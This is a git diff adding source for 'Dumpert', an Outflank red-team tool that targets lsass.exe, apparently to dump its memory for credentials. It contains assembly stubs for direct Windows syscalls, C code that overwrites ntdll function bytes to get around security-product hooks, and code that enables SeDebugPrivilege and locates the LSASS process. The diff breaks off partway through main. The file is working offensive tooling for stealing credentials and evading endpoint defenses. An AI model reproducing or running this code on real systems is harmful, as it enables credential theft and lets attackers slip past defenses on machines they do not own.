b/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.h @@ -0,0 +1,209 @@ +#pragma once + +#include + +#define STATUS_SUCCESS 0 +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +typedef LONG KPRIORITY; + +#define InitializeObjectAttributes( i, o, a, r, s ) { \ + (i)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (i)->RootDirectory = r; \ + (i)->Attributes = a; \ + (i)->ObjectName = o; \ + (i)->SecurityDescriptor = s; \ + (i)->SecurityQualityOfService = NULL; \ + } + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING; + +typedef const UNICODE_STRING* PCUNICODE_STRING; + +typedef struct _WIN_VER_INFO { + WCHAR chOSMajorMinor[8]; + DWORD dwBuildNumber; + UNICODE_STRING ProcName; + HANDLE hTargetPID; + LPCSTR lpApiCall; + INT SystemCall; +} WIN_VER_INFO, *PWIN_VER_INFO; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef struct _SYSTEM_PROCESSES { + ULONG NextEntryDelta; + ULONG ThreadCount; + ULONG Reserved1[6]; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ProcessName; + KPRIORITY BasePriority; + HANDLE ProcessId; + HANDLE InheritedFromProcessId; +} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES; + +typedef struct _IO_STATUS_BLOCK +{ + union + { + LONG Status; + PVOID Pointer; + }; + ULONG Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + + +// Windows 7 SP1 / Server 2008 R2 specific Syscalls +EXTERN_C NTSTATUS NtAllocateVirtualMemory7SP1(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +EXTERN_C NTSTATUS NtFreeVirtualMemory7SP1(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); +EXTERN_C NTSTATUS ZwOpenProcess7SP1(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +EXTERN_C NTSTATUS ZwClose7SP1(IN HANDLE KeyHandle); +EXTERN_C NTSTATUS ZwWriteVirtualMemory7SP1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory7SP1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation7SP1(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); +EXTERN_C NTSTATUS NtCreateFile7SP1(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + +// Windows 8 / Server 2012 specific Syscalls +EXTERN_C NTSTATUS NtAllocateVirtualMemory80(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +EXTERN_C NTSTATUS NtFreeVirtualMemory80(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); +EXTERN_C NTSTATUS ZwOpenProcess80(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +EXTERN_C NTSTATUS ZwClose80(IN HANDLE KeyHandle); +EXTERN_C NTSTATUS ZwWriteVirtualMemory80(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory80(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation80(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); +EXTERN_C NTSTATUS NtCreateFile80(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + + +// Windows 8.1 / Server 2012 R2 specific Syscalls +EXTERN_C NTSTATUS NtAllocateVirtualMemory81(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +EXTERN_C NTSTATUS NtFreeVirtualMemory81(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); +EXTERN_C NTSTATUS ZwOpenProcess81(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +EXTERN_C NTSTATUS ZwClose81(IN HANDLE KeyHandle); +EXTERN_C NTSTATUS ZwWriteVirtualMemory81(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory81(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation81(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); +EXTERN_C NTSTATUS NtCreateFile81(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + + +// Windows 10 / Server 2016 specific Syscalls +EXTERN_C NTSTATUS NtAllocateVirtualMemory10(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +EXTERN_C NTSTATUS NtFreeVirtualMemory10(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); +EXTERN_C NTSTATUS ZwOpenProcess10(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +EXTERN_C NTSTATUS ZwClose10(IN HANDLE KeyHandle); +EXTERN_C NTSTATUS ZwWriteVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory10(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); +EXTERN_C NTSTATUS NtCreateFile10(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + +NTSTATUS(*NtAllocateVirtualMemory)( + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG_PTR ZeroBits, + PSIZE_T RegionSize, + ULONG AllocationType, + ULONG Protect + ); + +NTSTATUS(*NtFreeVirtualMemory)( + HANDLE ProcessHandle, + PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + ULONG FreeType + ); + +NTSTATUS(*ZwOpenProcess)( + PHANDLE ProcessHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PCLIENT_ID ClientId + ); + +NTSTATUS(WINAPI *ZwQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +NTSTATUS(*ZwWriteVirtualMemory)( + HANDLE hProcess, + PVOID lpBaseAddress, + PVOID lpBuffer, + SIZE_T NumberOfBytesToRead, + PSIZE_T NumberOfBytesRead + ); + +NTSTATUS(*ZwProtectVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID* BaseAddress, + IN SIZE_T* NumberOfBytesToProtect, + IN ULONG NewAccessProtection, + OUT PULONG OldAccessProtection + ); + +NTSTATUS(*NtCreateFile)( + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ); + +NTSTATUS(*ZwClose)( + IN HANDLE KeyHandle + ); + +typedef NTSTATUS(NTAPI *_RtlGetVersion)( + LPOSVERSIONINFOEXW lpVersionInformation + ); + +typedef void (WINAPI* _RtlInitUnicodeString)( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +typedef NTSYSAPI BOOLEAN(NTAPI *_RtlEqualUnicodeString)( + PUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); diff --git a/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj b/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj new file mode 100755 index 0000000..7d27878 --- /dev/null +++ b/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj @@ -0,0 +1,128 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {307088B9-2992-4DE7-A57D-9E657B1CE546} + OutflankDumpertDLL + 8.1 + + + + Application + true + v140 + MultiByte + + + Application + false + v140 + true + MultiByte + + + DynamicLibrary + true + v140 + MultiByte + + + DynamicLibrary + false + v140 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + + + + Level3 + Disabled + true + + + + + Level3 + Disabled + true + + + + + Level3 + MaxSpeed + true + true + true + + + true + true + + + + + Level3 + MaxSpeed + true + true + true + MultiThreaded + + + true + true + false + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj.filters b/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj.filters new file mode 100755 index 0000000..68698c6 --- /dev/null +++ b/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj.user b/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj.user new file mode 100755 index 0000000..a4836ea --- /dev/null +++ b/Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj.user @@ -0,0 +1,8 @@ + + + + C:\Windows\System32\Rundll32.exe + C:\Outflank\Development\Outflank-Dumpert-DLL\x64\Debug\Outflank-Dumpert-DLL.dll,Dump + WindowsLocalDebugger + + \ No newline at end of file diff --git a/Dumpert-DLL/Outflank-Dumpert-DLL/Syscalls.asm b/Dumpert-DLL/Outflank-Dumpert-DLL/Syscalls.asm new file mode 100755 index 0000000..86381b9 --- /dev/null +++ b/Dumpert-DLL/Outflank-Dumpert-DLL/Syscalls.asm @@ -0,0 +1,237 @@ +.code + +; Reference: https://j00ru.vexillium.org/syscalls/nt/64/ + +; Windows 7 SP1 / Server 2008 R2 specific syscalls + +ZwOpenProcess7SP1 proc + mov r10, rcx + mov eax, 23h + syscall + ret +ZwOpenProcess7SP1 endp + +ZwClose7SP1 proc + mov r10, rcx + mov eax, 0Ch + syscall + ret +ZwClose7SP1 endp + +ZwWriteVirtualMemory7SP1 proc + mov r10, rcx + mov eax, 37h + syscall + ret +ZwWriteVirtualMemory7SP1 endp + +ZwProtectVirtualMemory7SP1 proc + mov r10, rcx + mov eax, 4Dh + syscall + ret +ZwProtectVirtualMemory7SP1 endp + +ZwQuerySystemInformation7SP1 proc + mov r10, rcx + mov eax, 33h + syscall + ret +ZwQuerySystemInformation7SP1 endp + +NtAllocateVirtualMemory7SP1 proc + mov r10, rcx + mov eax, 15h + syscall + ret +NtAllocateVirtualMemory7SP1 endp + +NtFreeVirtualMemory7SP1 proc + mov r10, rcx + mov eax, 1Bh + syscall + ret +NtFreeVirtualMemory7SP1 endp + +NtCreateFile7SP1 proc + mov r10, rcx + mov eax, 52h + syscall + ret +NtCreateFile7SP1 endp + +; Windows 8 / Server 2012 specific syscalls + +ZwOpenProcess80 proc + mov r10, rcx + mov eax, 24h + syscall + ret +ZwOpenProcess80 endp + +ZwClose80 proc + mov r10, rcx + mov eax, 0Dh + syscall + ret +ZwClose80 endp + +ZwWriteVirtualMemory80 proc + mov r10, rcx + mov eax, 38h + syscall + ret +ZwWriteVirtualMemory80 endp + +ZwProtectVirtualMemory80 proc + mov r10, rcx + mov eax, 4Eh + syscall + ret +ZwProtectVirtualMemory80 endp + +ZwQuerySystemInformation80 proc + mov r10, rcx + mov eax, 34h + syscall + ret +ZwQuerySystemInformation80 endp + +NtAllocateVirtualMemory80 proc + mov r10, rcx + mov eax, 16h + syscall + ret +NtAllocateVirtualMemory80 endp + +NtFreeVirtualMemory80 proc + mov r10, rcx + mov eax, 1Ch + syscall + ret +NtFreeVirtualMemory80 endp + +NtCreateFile80 proc + mov r10, rcx + mov eax, 53h + syscall + ret +NtCreateFile80 endp + +; Windows 8.1 / Server 2012 R2 specific syscalls + +ZwOpenProcess81 proc + mov r10, rcx + mov eax, 25h + syscall + ret +ZwOpenProcess81 endp + +ZwClose81 proc + mov r10, rcx + mov eax, 0Eh + syscall + ret +ZwClose81 endp + +ZwWriteVirtualMemory81 proc + mov r10, rcx + mov eax, 39h + syscall + ret +ZwWriteVirtualMemory81 endp + +ZwProtectVirtualMemory81 proc + mov r10, rcx + mov eax, 4Fh + syscall + ret +ZwProtectVirtualMemory81 endp + +ZwQuerySystemInformation81 proc + mov r10, rcx + mov eax, 35h + syscall + ret +ZwQuerySystemInformation81 endp + +NtAllocateVirtualMemory81 proc + mov r10, rcx + mov eax, 17h + syscall + ret +NtAllocateVirtualMemory81 endp + +NtFreeVirtualMemory81 proc + mov r10, rcx + mov eax, 1Dh + syscall + ret +NtFreeVirtualMemory81 endp + +NtCreateFile81 proc + mov r10, rcx + mov eax, 54h + syscall + ret +NtCreateFile81 endp + +; Windows 10 / Server 2016 specific syscalls + +ZwOpenProcess10 proc + mov r10, rcx + mov eax, 26h + syscall + ret +ZwOpenProcess10 endp + +ZwClose10 proc + mov r10, rcx + mov eax, 0Fh + syscall + ret +ZwClose10 endp + +ZwWriteVirtualMemory10 proc + mov r10, rcx + mov eax, 3Ah + syscall + ret +ZwWriteVirtualMemory10 endp + +ZwProtectVirtualMemory10 proc + mov r10, rcx + mov eax, 50h + syscall + ret +ZwProtectVirtualMemory10 endp + +ZwQuerySystemInformation10 proc + mov r10, rcx + mov eax, 36h + syscall + ret +ZwQuerySystemInformation10 endp + +NtAllocateVirtualMemory10 proc + mov r10, rcx + mov eax, 18h + syscall + ret +NtAllocateVirtualMemory10 endp + +NtFreeVirtualMemory10 proc + mov r10, rcx + mov eax, 1Eh + syscall + ret +NtFreeVirtualMemory10 endp + +NtCreateFile10 proc + mov r10, rcx + mov eax, 55h + syscall + ret +NtCreateFile10 endp + +end diff --git a/Dumpert/Outflank-Dumpert.sln b/Dumpert/Outflank-Dumpert.sln new file mode 100755 index 0000000..9f2a4ff --- /dev/null +++ b/Dumpert/Outflank-Dumpert.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 14 for Windows Desktop +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Outflank-Dumpert", "Outflank-Dumpert\Outflank-Dumpert.vcxproj", "{C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}.Debug|x64.ActiveCfg = Debug|x64 + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}.Debug|x64.Build.0 = Debug|x64 + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}.Debug|x86.ActiveCfg = Debug|Win32 + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}.Debug|x86.Build.0 = Debug|Win32 + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}.Release|x64.ActiveCfg = Release|x64 + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}.Release|x64.Build.0 = Release|x64 + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}.Release|x86.ActiveCfg = Release|Win32 + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Dumpert/Outflank-Dumpert/Dumpert.c b/Dumpert/Outflank-Dumpert/Dumpert.c new file mode 100755 index 0000000..4539513 --- /dev/null +++ b/Dumpert/Outflank-Dumpert/Dumpert.c @@ -0,0 +1,354 @@ +#undef _UNICODE +#define _UNICODE +#undef UNICODE +#define UNICODE + +#include +#include +#include "Dumpert.h" +#include + +#pragma comment (lib, "Dbghelp.lib") + + +BOOL Unhook_NativeAPI(IN PWIN_VER_INFO pWinVerInfo) { + BYTE AssemblyBytes[] = {0x4C, 0x8B, 0xD1, 0xB8, 0xFF}; + + if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { + AssemblyBytes[4] = pWinVerInfo->SystemCall; + ZwWriteVirtualMemory = &ZwWriteVirtualMemory10; + ZwProtectVirtualMemory = &ZwProtectVirtualMemory10; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) { + AssemblyBytes[4] = pWinVerInfo->SystemCall; + ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1; + ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { + AssemblyBytes[4] = pWinVerInfo->SystemCall; + ZwWriteVirtualMemory = &ZwWriteVirtualMemory80; + ZwProtectVirtualMemory = &ZwProtectVirtualMemory80; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { + AssemblyBytes[4] = pWinVerInfo->SystemCall; + ZwWriteVirtualMemory = &ZwWriteVirtualMemory81; + ZwProtectVirtualMemory = &ZwProtectVirtualMemory81; + } + else { + return FALSE; + } + + LPVOID lpProcAddress = GetProcAddress(LoadLibrary(L"ntdll.dll"), pWinVerInfo->lpApiCall); + + printf(" [+] %s function pointer at: 0x%p\n", pWinVerInfo->lpApiCall, lpProcAddress); + printf(" [+] %s System call nr is: 0x%x\n", pWinVerInfo->lpApiCall, AssemblyBytes[4]); + printf(" [+] Unhooking %s.\n", pWinVerInfo->lpApiCall); + + ULONG OldProtection, NewProtection; + SIZE_T uSize = 10; + NTSTATUS status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpProcAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection); + if (status != STATUS_SUCCESS) { + wprintf(L" [!] ZwProtectVirtualMemory failed.\n"); + return FALSE; + } + + status = ZwWriteVirtualMemory(GetCurrentProcess(), lpProcAddress, (PVOID)AssemblyBytes, sizeof(AssemblyBytes), NULL); + if (status != STATUS_SUCCESS) { + wprintf(L" [!] ZwWriteVirtualMemory failed.\n"); + return FALSE; + } + + status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpProcAddress, &uSize, OldProtection, &NewProtection); + if (status != STATUS_SUCCESS) { + wprintf(L" [!] ZwProtectVirtualMemory failed.\n"); + return FALSE; + } + + return TRUE; +} + +BOOL GetPID(IN PWIN_VER_INFO pWinVerInfo) { + pWinVerInfo->hTargetPID = NULL; + + if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { + ZwQuerySystemInformation = &ZwQuerySystemInformation10; + NtAllocateVirtualMemory = &NtAllocateVirtualMemory10; + NtFreeVirtualMemory = &NtFreeVirtualMemory10; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) { + ZwQuerySystemInformation = &ZwQuerySystemInformation7SP1; + NtAllocateVirtualMemory = &NtAllocateVirtualMemory7SP1; + NtFreeVirtualMemory = &NtFreeVirtualMemory7SP1; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { + ZwQuerySystemInformation = &ZwQuerySystemInformation80; + NtAllocateVirtualMemory = &NtAllocateVirtualMemory80; + NtFreeVirtualMemory = &NtFreeVirtualMemory80; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { + ZwQuerySystemInformation = &ZwQuerySystemInformation81; + NtAllocateVirtualMemory = &NtAllocateVirtualMemory81; + NtFreeVirtualMemory = &NtFreeVirtualMemory81; + } + else { + return FALSE; + } + + ULONG uReturnLength = 0; + NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, 0, 0, &uReturnLength); + if (!status == 0xc0000004) { + return FALSE; + } + + LPVOID pBuffer = NULL; + SIZE_T uSize = uReturnLength; + status = NtAllocateVirtualMemory(GetCurrentProcess(), &pBuffer, 0, &uSize, MEM_COMMIT, PAGE_READWRITE); + if (status != 0) { + return FALSE; + } + + status = ZwQuerySystemInformation(SystemProcessInformation, pBuffer, uReturnLength, &uReturnLength); + if (status != 0) { + return FALSE; + } + + _RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString"); + if (RtlEqualUnicodeString == NULL) { + return FALSE; + } + + PSYSTEM_PROCESSES pProcInfo = (PSYSTEM_PROCESSES)pBuffer; + do { + if (RtlEqualUnicodeString(&pProcInfo->ProcessName, &pWinVerInfo->ProcName, TRUE)) { + pWinVerInfo->hTargetPID = pProcInfo->ProcessId; + break; + } + pProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pProcInfo) + pProcInfo->NextEntryDelta); + + } while (pProcInfo); + + status = NtFreeVirtualMemory(GetCurrentProcess(), &pBuffer, &uSize, MEM_RELEASE); + + if (pWinVerInfo->hTargetPID == NULL) { + return FALSE; + } + + return TRUE; +} + +BOOL IsElevated() { + BOOL fRet = FALSE; + HANDLE hToken = NULL; + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + TOKEN_ELEVATION Elevation = { 0 }; + DWORD cbSize = sizeof(TOKEN_ELEVATION); + if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { + fRet = Elevation.TokenIsElevated; + } + } + if (hToken) { + CloseHandle(hToken); + } + return fRet; +} + +BOOL SetDebugPrivilege() { + HANDLE hToken = NULL; + TOKEN_PRIVILEGES TokenPrivileges = { 0 }; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { + return FALSE; + } + + TokenPrivileges.PrivilegeCount = 1; + TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; + + LPWSTR lpwPriv = L"SeDebugPrivilege"; + if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) { + CloseHandle(hToken); + return FALSE; + } + + if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { + CloseHandle(hToken); + return FALSE; + } + + CloseHandle(hToken); + return TRUE; +} + + +int wmain(int argc, wchar_t* argv[]) { + wprintf(L" ________ __ _____.__ __ \n"); + wprintf(L" \\_____ \\ __ ___/ |__/ ____\\ | _____ ____ | | __ \n"); + wprintf(L" / | \\| | \\ __\\ __\\| | \\__ \\ / \\| |/ / \n"); + wprintf(L" / | \\ | /| | | | | |__/ __ \\| | \\ < \n"); + wprintf(L" \\_______ /____/ |__| |__| |____(____ /___| /__|_ \\ \n"); + wprintf(L" \\/ \\/ \\/ \\/ \n"); + wprintf(L" Dumpert \n"); + wprintf(L" By Cneeliz @Outflank 2019 \n\n"); + + LPCWSTR lpwProcName = L"lsass.exe"; + + if (sizeof(LPVOID) != 8) { + wprintf(L"[!] Sorry, this tool only works on a x64 version of Windows.\n"); + exit(1); + } + + if (!IsElevated()) { + wprintf(L"[!] You need elevated privileges to run this tool!\n"); + exit(1); + } + + SetDebugPrivilege(); + + PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO)); + + // First set OS Version/Architecture specific values + OSVERSIONINFOEXW osInfo; + LPWSTR lpOSVersion; + osInfo.dwOSVersionInfoSize = sizeof(osInfo); + + _RtlGetVersion RtlGetVersion = (_RtlGetVersion) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion"); + if (RtlGetVersion == NULL) { + return FALSE; + } + + wprintf(L"[1] Checking OS version details:\n"); + RtlGetVersion(&osInfo); + swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion); + pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber; + + // Now create os/build specific syscall function pointers. + if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { + lpOSVersion = L"10 or Server 2016"; + wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber); + wprintf(L" [+] Mapping version specific System calls.\n"); + ZwOpenProcess = &ZwOpenProcess10; + NtCreateFile = &NtCreateFile10; + ZwClose = &ZwClose10; + pWinVerInfo->SystemCall = 0x3F; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) { + lpOSVersion = L"7 SP1 or Server 2008 R2"; + wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber); + wprintf(L" [+] Mapping version specific System calls.\n"); + ZwOpenProcess = &ZwOpenProcess7SP1; + NtCreateFile = &NtCreateFile7SP1; + ZwClose = &ZwClose7SP1; + pWinVerInfo->SystemCall = 0x3C; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { + lpOSVersion = L"8 or Server 2012"; + wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber); + wprintf(L" [+] 